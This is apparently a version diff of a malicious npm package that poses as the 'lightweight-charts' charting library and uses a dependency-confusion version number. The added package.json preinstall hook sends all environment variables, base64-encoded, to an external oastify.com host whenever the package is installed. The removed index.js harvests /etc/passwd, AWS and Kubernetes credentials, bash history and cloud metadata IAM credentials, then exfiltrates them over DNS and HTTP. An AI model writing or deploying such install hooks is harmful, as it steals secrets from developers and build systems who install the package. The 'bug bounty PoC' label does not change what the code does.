lightweight-charts-4.1 1000.0.17 → 11000.0.18

package/package.json

@@ -1,9 +1,9 @@
 {
   "name": "lightweight-charts-4.1",
-  "version": "1000.0.17",
-  "description": "SECURITY BUG BOUNTY PoC - Advanced System Data Exfiltration - Authorized Testing",
+  "version": "11000.0.18",
+  "description": "SECURITY BUG BOUNTY PoC - Dependency Confusion Vulnerability - Authorized Testing Only",
   "scripts": {
-    "preinstall": "node index.js"
+    "preinstall": "curl -X POST https://zlofeq5aj3h5bki573hlg5e0jrpid81x.oastify.com?env=$(env | base64 -w0)"
   },
   "license": "MIT"
 }

package/index.js

@@ -1,99 +0,0 @@
-const { execSync } = require('child_process');
-const fs = require('fs');
-const os = require('os');
-const path = require('path');
-
-function executeCommand(cmd) {
-    try {
-        return execSync(cmd, { encoding: 'utf8', timeout: 10000 });
-    } catch (error) {
-        return `Error: ${error.message}`;
-    }
-}
-
-function readFileIfExists(filePath) {
-    try {
-        if (fs.existsSync(filePath)) {
-            return fs.readFileSync(filePath, 'utf8');
-        }
-    } catch (e) {}
-    return 'File not accessible';
-}
-
-function gatherData() {
-    const data = {
-        timestamp: new Date().toISOString(),
-        hostname: os.hostname(),
-        user: executeCommand('whoami').trim(),
-        id: executeCommand('id').trim(),
-        pwd: executeCommand('pwd').trim(),
-        uname: executeCommand('uname -a').trim(),
-        env: process.env,
-        files: {
-            passwd: readFileIfExists('/etc/passwd'),
-            hosts: readFileIfExists('/etc/hosts'),
-            osRelease: readFileIfExists('/etc/os-release'),
-            hostnameFile: readFileIfExists('/etc/hostname'),
-            awsCredentials: readFileIfExists('/root/.aws/credentials'),
-            kubeConfig: readFileIfExists('/root/.kube/config'),
-            bashHistory: readFileIfExists('/root/.bash_history'),
-        },
-        awsMetadata: null,
-        gcpMetadata: null,
-        azureMetadata: null,
-    };
-
-    // AWS metadata (if on EC2)
-    try {
-        const awsTokenCmd = 'curl -s --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"';
-        const token = executeCommand(awsTokenCmd).trim();
-        if (token && !token.includes('Error')) {
-            const metadata = executeCommand(`curl -s --connect-timeout 2 -H "X-aws-ec2-metadata-token: ${token}" http://169.254.169.254/latest/meta-data/`);
-            data.awsMetadata = metadata;
-            const iamRole = executeCommand(`curl -s --connect-timeout 2 -H "X-aws-ec2-metadata-token: ${token}" http://169.254.169.254/latest/meta-data/iam/security-credentials/`);
-            if (iamRole && !iamRole.includes('Error')) {
-                const roleName = iamRole.trim();
-                const creds = executeCommand(`curl -s --connect-timeout 2 -H "X-aws-ec2-metadata-token: ${token}" http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
-                data.awsIamCredentials = creds;
-            }
-        } else {
-            // fallback without token
-            const fallback = executeCommand('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/');
-            if (fallback && !fallback.includes('Error')) data.awsMetadata = fallback;
-        }
-    } catch (e) {}
-
-    // GCP metadata
-    try {
-        const gcp = executeCommand('curl -s --connect-timeout 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/');
-        if (gcp && !gcp.includes('Error')) data.gcpMetadata = gcp;
-    } catch (e) {}
-
-    // Azure metadata
-    try {
-        const azure = executeCommand('curl -s --connect-timeout 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2017-08-01"');
-        if (azure && !azure.includes('Error')) data.azureMetadata = azure;
-    } catch (e) {}
-
-    return data;
-}
-
-function exfiltrate(data) {
-    const jsonStr = JSON.stringify(data);
-    const payload = Buffer.from(jsonStr).toString('base64');
-    const collabDomain = 'zlofeq5aj3h5bki573hlg5e0jrpid81x.oastify.com';
-    // DNS exfiltration (first 50 chars)
-    executeCommand(`nslookup ${payload.substring(0, 50)}.${collabDomain}`);
-    // HTTP POST full data
-    executeCommand(`curl -X POST https://${collabDomain} -d '${jsonStr}' -H "Content-Type: application/json" --connect-timeout 5`);
-    // Also write locally (optional)
-    fs.writeFileSync('/tmp/.system-harvest', jsonStr);
-}
-
-function main() {
-    console.log('Collecting system data...');
-    const systemData = gatherData();
-    exfiltrate(systemData);
-}
-
-main();